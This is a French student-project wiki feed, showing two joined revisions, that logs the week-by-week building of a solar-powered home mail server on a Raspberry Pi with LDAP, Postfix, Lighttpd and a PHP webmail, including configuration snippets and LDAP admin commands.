&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : ''en cours''&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : ''en cours''&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : ''en cours''&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26840</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26840"/>
				<updated>2016-02-10T09:17:09Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
